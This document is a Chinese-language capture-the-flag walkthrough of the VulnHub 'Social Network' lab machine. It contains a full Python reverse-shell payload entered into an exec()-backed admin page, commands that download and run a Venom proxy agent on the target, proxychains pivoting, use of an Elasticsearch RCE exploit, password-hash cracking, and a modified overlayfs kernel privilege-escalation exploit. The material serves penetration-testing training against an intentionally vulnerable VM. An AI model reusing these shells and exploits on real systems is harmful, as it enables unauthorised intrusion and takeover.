1.靶场搭建

靶场地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

描述
social-network一个新的匿名社交网站,用户可以在其中互相发布消息。该网站使用了docker容器。尝试获得root权限。

难度:中等

涉及的任务:
端口扫描
网络应用攻击
代码注入
旋转
开发
密码破解
蛮力

下载后在virtualbox里导入靶机,这里要注意的是,为了保证我们的攻击机kali能和靶机在同一网段,我们要同时设置这两台机器为host-only或者NAT模式。前者在设置好后,可以互相访问。但是后者没法直接用里面的NAT模式,可能是自带的NAT模式(网络地址转换NAT)没法自动DHCP

图片

所以要自己设置一个NAT

左上角全局设置的网络里

图片

新建一个NatNetwork,配置如下,主要能使用DHCP图片

至此,靶场环境搭建完成

2.过程

1.主机发现

由于这两台机器是在同一网段,所以直接利用二层地址发现工具

arp-scan -l

图片

出现了四个ip,前三个是kali的ip,最后一个就是靶机的ip

接下来进行全端口的扫描

nmap -p- 10.10.2.4

图片

开放了22和5000两个端口

端口服务版本探测

nmap -p22,5000 -sV 10.0.2.4

图片

22端口就是ssh的服务
5000端口开启了名为Werkzeug的httpd服务,并且操作系统是Ubuntu,使用了Python 2.7.15。Werkzeug是Python的一个Web框架
尝试访问

2.目录爆破

图片

该网站可以通过add message来留下信息

尝试目录爆破

dirsearch -u http://10.0.2.4:5000/
# 结果发现了/admin,直接访问

图片

test code可以用来执行python命令,交给exec()执行

3.反弹shell

输入以下代码反弹shell

# 红框部分大概意思是:创建一个可交互的sh和一个到192.168.118.128的TCP连接,然后将sh的输入输出错误都重定向到在192.168.118.128占用5555端口的进程上

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);  
# 创建套接字;AF_INET(TCP/IP – IPv4);SOCK_STREAM(TCP流)
s.connect(("192.168.118.128",5555));  
# 要连接的ip地址和端口
os.dup2(s.fileno(),0);  
# os.dup2()方法用于将一个文件描述符 fd 复制到另一个 fd2
os.dup2(s.fileno(),1);  
# fileno()方法返回一个整型的文件描述符(file descriptor FD 整型),可用于底层操作系统的 I/O 操作
os.dup2(s.fileno(),2);  
# 使用fileno()返回一个整型的文件描述符,并使用os.dup2(s.fileno(),0)把这个整型的文件描述符复制到后面的0三个dup2函数先后将socket重定向到标准输入,标准输入,标准错误输出。
p=subprocess.call(["/bin/sh","-i"]);  
# subprocess.call()执行由参数提供的命令,返回命令的状态,0或者非0
# 可以是["/bin/bash","-i"]或["/bin/sh","-i"]

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.2.5",4444));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

nc -lvnp 4444
# kali监听4444端口

图片

成功反弹了shell,还是一个root权限,看样子已经结束咧

ls
# 当前目录下有dockerfile,看来我们只是拿到了docker,没拿到宿主机,
# 以下是几种确定是否是docker容器的方法

ls /.dockerenv
# 查看初始化进程ID
# 如果进程中包含docker字样,就可以说明这是一个docker容器
cat /proc/1/cgroup
# 最简单的,docker容器的linux系统是"精简版的",少了很多命令,其中就包括ll
# 如果ll不能执行,就可以说明这是一个docker容器

图片

4.内网穿透

既然是在docker容器中,那么要继续渗透就只能从内网从寻找突破口了

ifconfig

图片

当前的ip是172.17.0.2,和之前目标靶机的ip是不一致的,现在我们要做的是扫描该内网网段,看是否存在其他机器

for i in (seq 1 10); do ping -c 1 172.17.0.i; done
# 利用简单的脚本ping一下该网段的其他机器,16位的掩码应该ping(1-65535),这里为了 # 演示只ping10台

图片

结果如下,三台靶机回包了,期中172.17.0.3是本机ip,那就只有172.17.0.1,172.17.0.2

现在我们想对这个内网的ip进行扫描,那就需要进行内网穿透,这样才能让我们的kali可以直接访问内网,这就需要打通路由

需要用到工具

下载地址:https://github.com/Dliv3/Venom/releases/download/v1.1.0/Venom.v1.1.0.7z

使用方法:安全工具 —— Venom 渗透测试人员的多级代理 – 先知社区 (aliyun.com)

# 切换到Venom目录
cd Venom v1.1.0
# 监听端口6666 ./admin_linux_x64 -lport 6666
# 打开另一个终端,继续来到Venom目录,挂载文件到8000端口
cd Venom v1.1.0 python3 -m http.server 8000
# 在目标服务端下载agent_linux_x64
wget http://10.0.2.5/agent_linux_x64
# 赋予执行权限 chmod +x agent_linux_x64
# 连接客户端
$ ./agent_linux_x64 -rhost 10.0.2.5 -rport 6666

这样,kali这台主机就成为我们的代理节点了,在Venom控制台输入以下命令:
(admin node) >>> show
# 切换到第一个节点
(admin node) >>> goto 1
# 启动侦听端口1080
(node 1) >>> socks 1080 

图片

代理已经设置好了,现在我们要让kali的工具能通过代理直接访问内网

vi /etc/proxychains4.conf
# 在最下端将socks4 127.0.0.1 9050改为socks5 127.0.0.1 1080
# 至此,我们就可以使用kali对内网进行渗透了

这里需要说一个注意点, proxychains 工具不能代理UDP,ICMP,SYN网络协议,无法进行系统探测,主机发现等等,但是可以用-sT参数并结合-Pn进行 TCP 端口扫描探测。docker 容器所在的内网一共有两台台存活的机器,分别是:172.17.0.2(docker 容器) 、172.17.0.1 ,nmap 扫描探测的相关端口和服务版本如下:

proxychains nmap -Pn -sT 172.17.0.1

图片

恰好和10.0.2.4的靶机ip开放的服务一致

图片

浏览器也可以挂代理访问

配置如下

图片

访问172.17.0.1:5000

图片

和之前的页面完全一致

接下来扫描另一个ip

proxychains nmap -p9200 -sV -Pn -sT 172.17.0.2

图片

服务及其版本:Elasticsearch REST API 1.4.2

# 搜索exp
searchsploit Elasticsearch  
# 发现有一个RCE的漏洞,复制到当前目录下
cp /usr/share/exploitdb/exploits/linux/remote/36337.py
# 看一下可以发现是python2写的
cat 36337.py
# 尝试跑一下,提示了用法
proxychains python2 36337.py 172.17.0.2

图片

# 得到shell,发现是一个root权限但同时也还是个docker容器
whoami
# root
# 在根目录下可以发现passwords文件
ls /
# 看一下内容,可以发现是几个 用户名:密码哈希 
cat password

图片

拿到了用户名及其密码的hash值
放到somd5.com破解一下就行,得到john的密码1337hack,并且也只有这个账号可以登录 

5.权限提升

# ssh远程登录
ssh john@10.0.2.4
# 密码:1337hack
sudo -l
# 没法使用root权限

图片

注意到该机器的内核版本比较低

uname -a

图片

# 搜索exp
searchsploit Linux 3.13
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
vi 37292.c
# 通过查看说明部分,发现这是一个C语言源代码文件,运行之前需要使用gcc先编译
exp一般都是本地编译后上传到靶机上(因为靶机上可能没有相关环境,而且权限也受限)。而且这个exp有一个特殊之处,在第143行(vim可以通过:set number开启行号)有这样一段:

lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");

这一段在exp执行时会调用gcc,但靶机上没有gcc环境,也就无法运行这段exp,因此需要对这段作出修改,将这段需要用到gcc编译库文件的代码删除(这里原本是从目标机器上定位这个文件并编译,我们在本机上找一个编译好放到目标机器上可以起到一样的效果)
修改源码文件,删除原先的第139-147行

修改前
图片

修改后

图片

在kali上编译

gcc -o exp 37292.c 
# 接下来我们要找到ofs-lib.so文件

locate ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
python3 -m http.server 80

#接下来下载这两个文件
wget http://10.0.2.5/ofs-lib.so
wget http://10.0.2.5/exp
mv * /tmp
# 移动到tmp目录下
chmod +x exp
# 赋予exp权限
./exp
# 执行

图片

成功拿到root权限

3.参考

Vulnhub靶机系列: BoredHackerBlog-Social Network | Tuzk1

一起来打靶 01 – W00L00 – 博客园 (cnblogs.com)

连载一:Social Network 靶机渗透 – 霹雳一声 – 博客园 (cnblogs.com)

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注